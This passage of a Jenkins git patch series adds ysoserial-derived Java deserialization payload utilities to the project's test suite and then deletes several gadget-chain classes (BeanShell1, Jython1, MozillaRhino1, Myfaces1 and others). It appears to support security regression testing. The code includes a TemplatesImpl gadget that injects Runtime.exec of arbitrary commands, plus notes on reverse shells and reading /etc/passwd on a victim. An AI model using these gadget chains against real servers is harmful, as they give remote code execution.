com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings ( { + "restriction", "rawtypes", "unchecked" +} ) +public class Gadgets { + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[ 0 ] = iface; + if ( ifaces.length > 0 ) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap ( final String key, final Object val ) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl ( final String command ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { + return createTemplatesImpl( + command, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + + public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + nodeCons.setAccessible(true); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java new file mode 100644 index 0000000000..457604bb29 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java @@ -0,0 +1,36 @@ +package jenkins.security.security218.ysoserial.payloads.util; + + +/** + * @author mbechler + * + */ +public class JavaVersion { + + + public int major; + public int minor; + public int update; + + + + public static JavaVersion getLocalVersion() { + String property = System.getProperties().getProperty("java.version"); + if ( property == null ) { + return null; + } + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + v.major = Integer.parseInt(parts[1]); + v.minor = Integer.parseInt(parts[2]); + v.update = Integer.parseInt(parts[3]); + return v; + } + + + public static boolean isAnnInvHUniversalMethodImpl() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); + } +} + diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java new file mode 100644 index 0000000000..9f717454a7 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java @@ -0,0 +1,44 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.util.concurrent.Callable; + +import jenkins.security.security218.ysoserial.Deserializer; +import jenkins.security.security218.ysoserial.Serializer; +import static jenkins.security.security218.ysoserial.Deserializer.deserialize; +import static jenkins.security.security218.ysoserial.Serializer.serialize; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + ObjectPayload payload = clazz.newInstance(); + final Object objBefore = payload.getObject(command); + + System.out.println("serializing payload"); + byte[] ser = Serializer.serialize(objBefore); + Utils.releasePayload(payload, objBefore); + return ser; + }}); + + try { + System.out.println("deserializing payload"); + final Object objAfter = Deserializer.deserialize(serialized); + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java new file mode 100644 index 0000000000..723c04bb29 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java @@ -0,0 +1,53 @@ +package jenkins.security.security218.ysoserial.payloads.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; + +import sun.reflect.ReflectionFactory; + +@SuppressWarnings ( "restriction" ) +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field != null) + field.setAccessible(true); + else if (clazz.getSuperclass() != null) + field = getField(clazz.getSuperclass(), fieldName); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + + + public static T createWithoutConstructor ( Class classToInstantiate ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); + } + + @SuppressWarnings ( {"unchecked"} ) + public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); + objCons.setAccessible(true); + Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); + sc.setAccessible(true); + return (T)sc.newInstance(consArgs); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java new file mode 100755 index 0000000000..89929466af --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java @@ -0,0 +1,215 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.io.FileDescriptor; +import java.net.InetAddress; +import java.security.Permission; + +public class DelegateSecurityManager extends SecurityManager { + private SecurityManager securityManager; + + public SecurityManager getSecurityManager() { + return securityManager; + } + + public void setSecurityManager(SecurityManager securityManager) { + this.securityManager = securityManager; + } + + @Override + public boolean getInCheck() { + return getSecurityManager().getInCheck(); + } + + @Override + public Object getSecurityContext() { + return getSecurityManager().getSecurityContext(); + } + + @Override + public void checkPermission(Permission perm) { + getSecurityManager().checkPermission(perm); + } + + @Override + public void checkPermission(Permission perm, Object context) { + getSecurityManager().checkPermission(perm, context); + } + + @Override + public void checkCreateClassLoader() { + getSecurityManager().checkCreateClassLoader(); + } + + @Override + public void checkAccess(Thread t) { + getSecurityManager().checkAccess(t); + } + + @Override + public void checkAccess(ThreadGroup g) { + + getSecurityManager().checkAccess(g); + } + + @Override + public void checkExit(int status) { + + getSecurityManager().checkExit(status); + } + + @Override + public void checkExec(String cmd) { + + getSecurityManager().checkExec(cmd); + } + + @Override + public void checkLink(String lib) { + + getSecurityManager().checkLink(lib); + } + + @Override + public void checkRead(FileDescriptor fd) { + + getSecurityManager().checkRead(fd); + } + + @Override + public void checkRead(String file) { + + getSecurityManager().checkRead(file); + } + + @Override + public void checkRead(String file, Object context) { + + getSecurityManager().checkRead(file, context); + } + + @Override + public void checkWrite(FileDescriptor fd) { + + getSecurityManager().checkWrite(fd); + } + + @Override + public void checkWrite(String file) { + + getSecurityManager().checkWrite(file); + } + + @Override + public void checkDelete(String file) { + + getSecurityManager().checkDelete(file); + } + + @Override + public void checkConnect(String host, int port) { + + getSecurityManager().checkConnect(host, port); + } + + @Override + public void checkConnect(String host, int port, Object context) { + + getSecurityManager().checkConnect(host, port, context); + } + + @Override + public void checkListen(int port) { + + getSecurityManager().checkListen(port); + } + + @Override + public void checkAccept(String host, int port) { + + getSecurityManager().checkAccept(host, port); + } + + @Override + public void checkMulticast(InetAddress maddr) { + + getSecurityManager().checkMulticast(maddr); + } + + @Override + public void checkMulticast(InetAddress maddr, byte ttl) { + + getSecurityManager().checkMulticast(maddr, ttl); + } + + @Override + public void checkPropertiesAccess() { + + getSecurityManager().checkPropertiesAccess(); + } + + @Override + public void checkPropertyAccess(String key) { + + getSecurityManager().checkPropertyAccess(key); + } + + @Override + public boolean checkTopLevelWindow(Object window) { + + return getSecurityManager().checkTopLevelWindow(window); + } + + @Override + public void checkPrintJobAccess() { + + getSecurityManager().checkPrintJobAccess(); + } + + @Override + public void checkSystemClipboardAccess() { + + getSecurityManager().checkSystemClipboardAccess(); + } + + @Override + public void checkAwtEventQueueAccess() { + + getSecurityManager().checkAwtEventQueueAccess(); + } + + @Override + public void checkPackageAccess(String pkg) { + + getSecurityManager().checkPackageAccess(pkg); + } + + @Override + public void checkPackageDefinition(String pkg) { + + getSecurityManager().checkPackageDefinition(pkg); + } + + @Override + public void checkSetFactory() { + + getSecurityManager().checkSetFactory(); + } + + @Override + public void checkMemberAccess(Class clazz, int which) { + + getSecurityManager().checkMemberAccess(clazz, which); + } + + @Override + public void checkSecurityAccess(String target) { + + getSecurityManager().checkSecurityAccess(target); + } + + @Override + public ThreadGroup getThreadGroup() { + + return getSecurityManager().getThreadGroup(); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java new file mode 100644 index 0000000000..90ea39385e --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -0,0 +1,87 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.security.Permission; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Callable; + +public class ExecCheckingSecurityManager extends SecurityManager { + public ExecCheckingSecurityManager() { + this(true); + } + + public ExecCheckingSecurityManager(boolean throwException) { + this.throwException = throwException; + } + + private final boolean throwException; + + private final List cmds = new LinkedList(); + + public List getCmds() { + return Collections.unmodifiableList(cmds); + } + + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + @Override + public void checkExec(final String cmd) { + super.checkExec(cmd); + + cmds.add(cmd); + + if (throwException) { + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + } + }; + + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String threadName = Thread.currentThread().getName(); + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + public String getThreadName() { return threadName; } + @ + Override + public String getMessage() { + return "executed `" + getCmd() + "` in [" + getThreadName() + "]"; + } + } + + public void wrap(final Runnable runnable) throws Exception { + wrap(new Callable(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public T wrap(final Callable callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); // save sm + System.setSecurityManager(this); + try { + T result = callable.call(); + if (throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } + return result; + } catch (Exception e) { + if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) { + throw new ExecException(getCmds().get(0)); + } else { + throw e; + } + } finally { + System.setSecurityManager(sm); // restore sm + } + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java new file mode 100755 index 0000000000..9dd35ca7d5 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -0,0 +1,33 @@ +package jenkins.security.security218.ysoserial.secmgr; + +import java.util.concurrent.Callable; + +public class ThreadLocalSecurityManager extends DelegateSecurityManager { + + private final ThreadLocal threadDelegates + = new ThreadLocal(); + + public void install() { + System.setSecurityManager(this); + } + + @Override + public void setSecurityManager(SecurityManager threadManager) { + threadDelegates.set(threadManager); + } + + @Override + public SecurityManager getSecurityManager() { + return threadDelegates.get(); + } + + public V wrap(SecurityManager sm, Callable callable) throws Exception { + SecurityManager old = getSecurityManager(); + setSecurityManager(sm); + try { + return callable.call(); + } finally { + setSecurityManager(old); + } + } +} -- GitLab From 4fc68251e36b86da05ca842badb27549b049f2a0 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 17:13:07 -0500 Subject: [PATCH 319/712] Compileable ysoserial classes --- .../ysoserial/payloads/BeanShell1.java | 51 -------- .../ysoserial/payloads/JavassistWeld1.java | 79 ------------- .../ysoserial/payloads/Jython1.java | 106 ----------------- .../ysoserial/payloads/MozillaRhino1.java | 66 ----------- .../ysoserial/payloads/Myfaces1.java | 92 --------------- .../ysoserial/payloads/Myfaces2.java | 64 ---------- .../ysoserial/payloads/Wicket1.java | 111 ------------------ 7 files changed, 569 deletions(-) delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java delete mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java deleted file mode 100644 index 0086afaa70..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java +++ /dev/null @@ -1,51 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import bsh.Interpreter; -import bsh.XThis; - -import java.lang.reflect.InvocationHandler; -import java.lang.reflect.Proxy; -import java.util.Comparator; -import java.util.PriorityQueue; -import jenkins.security.security218.ysoserial.payloads.util.Reflections; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - */ - -@SuppressWarnings({ "rawtypes", "unchecked" }) -@Dependencies({ "org.beanshell:bsh:2.0b5" }) -public class BeanShell1 extends PayloadRunner implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - // BeanShell payload - String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; - - // Create Interpreter - Interpreter i = new Interpreter(); - - // Evaluate payload - i.eval(payload); - - // Create InvocationHandler - XThis xt = new XThis(i.getNameSpace(), i); - InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); - - // Create Comparator Proxy - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - - // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) - final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[] {1,1}; - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - - return priorityQueue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(BeanShell1.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java deleted file mode 100644 index e52fe03dad..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java +++ /dev/null @@ -1,79 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; -import org.jboss.weld.interceptor.builder.MethodReference; -import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; -import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; -import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; -import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; -import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; -import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; -import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; -import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; -import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; -import org.jboss.weld.interceptor.spi.model.InterceptionModel; -import org.jboss.weld.interceptor.spi.model.InterceptionType; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -import java.lang.reflect.Constructor; -import java.util.*; - -/* - by @matthias_kaiser -*/ -@SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) -public class JavassistWeld1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - - final Object gadget = Gadgets.createTemplatesImpl(command); - - InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); - ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); - InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); - - Set s = new HashSet(); - s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); - - Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); - defaultMethodMetadataConstructor.setAccessible(true); - MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, - MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); - - List list = new ArrayList(); - list.add(methodMetadata); - Map> hashMap = new HashMap>(); - - hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); - SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); - - builder.interceptAll().with(simpleInterceptorMetadata); - - InterceptionModel model = builder.build(); - - HashMap map = new HashMap(); - map.put("ysoserial", "ysoserial"); - - DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); - - InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { - - public Object createFor(InterceptorReference paramInterceptorReference) { - - return gadget; - } - }; - - return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); - - } - - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(JavassistWeld1.class, args); - } -} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java deleted file mode 100644 index b014660241..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java +++ /dev/null @@ -1,106 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import org.apache.commons.io.FileUtils; -import org.python.core.*; - -import java.math.BigInteger; -import java.io.File; -import java.lang.reflect.Proxy; -import java.util.Arrays; -import java.util.Comparator; -import java.util.PriorityQueue; - -import jenkins.security.security218.ysoserial.payloads.util.Reflections; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -/** - * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) - * - * This version of Jython1 writes a python script on the victim machine and - * executes it. The format of the parameters is: - * - * ; - * - * Where local path is the python script's location on the attack box and - * remote path is the location where the script will be written/executed from. - * For example: - * - * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" - * - * In the above example, if "read_etc_passwd.py" simply contained the string: - * - * raise Exception(open('/etc/passwd', 'r').read()) - * - * Then, when deserialized, the script will read in /etc/passwd and raise an - * exception with its contents (which could be useful if the target returns - * exception information). - */ - -@PayloadTest(skip="non RCE") -@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) -@Dependencies({ "org.python:jython-standalone:2.5.2" }) -public class Jython1 extends PayloadRunner implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - - String[] paths = command.split(";"); - if (paths.length != 2) { - throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); - } - - // Set payload parameters - String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); - - // Python bytecode to write a file on disk and execute it - String code = - "740000" + //0 LOAD_GLOBAL 0 (open) - "640100" + //3 LOAD_CONST 1 (remote path) - "640200" + //6 LOAD_CONST 2 ('w+') - "830200" + //9 CALL_FUNCTION 2 - "7D0000" + //12 STORE_FAST 0 (file) - - "7C0000" + //15 LOAD_FAST 0 (file) - "690100" + //18 LOAD_ATTR 1 (write) - "640300" + //21 LOAD_CONST 3 (python code) - "830100" + //24 CALL_FUNCTION 1 - "01" + //27 POP_TOP - - "7C0000" + //28 LOAD_FAST 0 (file) - "690200" + //31 LOAD_ATTR 2 (close) - "830000" + //34 CALL_FUNCTION 0 - "01" + //37 POP_TOP - - "740300" + //38 LOAD_GLOBAL 3 (execfile) - "640100" + //41 LOAD_CONST 1 (remote path) - "830100" + //44 CALL_FUNCTION 1 - "01" + //47 POP_TOP - "640000" + //48 LOAD_CONST 0 (None) - "53"; //51 RETURN_VALUE - - // Helping consts and names - PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; - String[] names = new String[]{"open", "write", "close", "execfile"}; - - // Generating PyBytecode wrapper for our python bytecode - PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); - Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); - - // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method - PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); - - // Prepare Trigger Gadget - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[] {1,1}; - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - - return priorityQueue; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(Jython1.class, args); - } -} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java deleted file mode 100644 index 3964adc6e8..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java +++ /dev/null @@ -1,66 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - -import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import org.mozilla.javascript.*; -import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; -import jenkins.security.security218.ysoserial.payloads.util.Gadgets; -import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.lang.reflect.Method; - -/* - by @matthias_kaiser -*/ -@SuppressWarnings({"rawtypes", "unchecked"}) -@Dependencies({"rhino:js:1.7R2"}) -public class MozillaRhino1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - - Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); - Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); - nativeErrorConstructor.setAccessible(true); - IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); - - Context context = Context.enter(); - - NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); - - Method enterMethod = Context.class.getDeclaredMethod("enter"); - NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); - idScriptableObject.setGetterOrSetter("name", 0, method, false); - - Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); - NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); - idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); - - Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); - getSlot.setAccessible(true); - Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); - Field getter = slot.getClass().getDeclaredField("getter"); - getter.setAccessible(true); - - Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); - Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); - memberboxClassConstructor.setAccessible(true); - Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); - getter.set(slot, memberboxes); - - NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); - idScriptableObject.setPrototype(nativeObject); - - BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); - Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); - valField.setAccessible(true); - valField.set(badAttributeValueExpException, idScriptableObject); - - return badAttributeValueExpException; - } - - public static void main(final String[] args) throws Exception { - PayloadRunner.run(MozillaRhino1.class, args); - } -} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java deleted file mode 100644 index 976c5173d2..0000000000 --- a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java +++ /dev/null @@ -1,92 +0,0 @@ -package jenkins.security.security218.ysoserial.payloads; - - - -import javax.el.ELContext; -import javax.el.ExpressionFactory; -import javax.el.ValueExpression; -import javax.servlet.ServletContext; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; - -import org.apache.myfaces.context.servlet.FacesContextImpl; -import org.apache.myfaces.context.servlet.FacesContextImplBase; -import org.apache.myfaces.el.CompositeELResolver; -import org.apache.myfaces.el.unified.FacesELContext; -import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; - -import 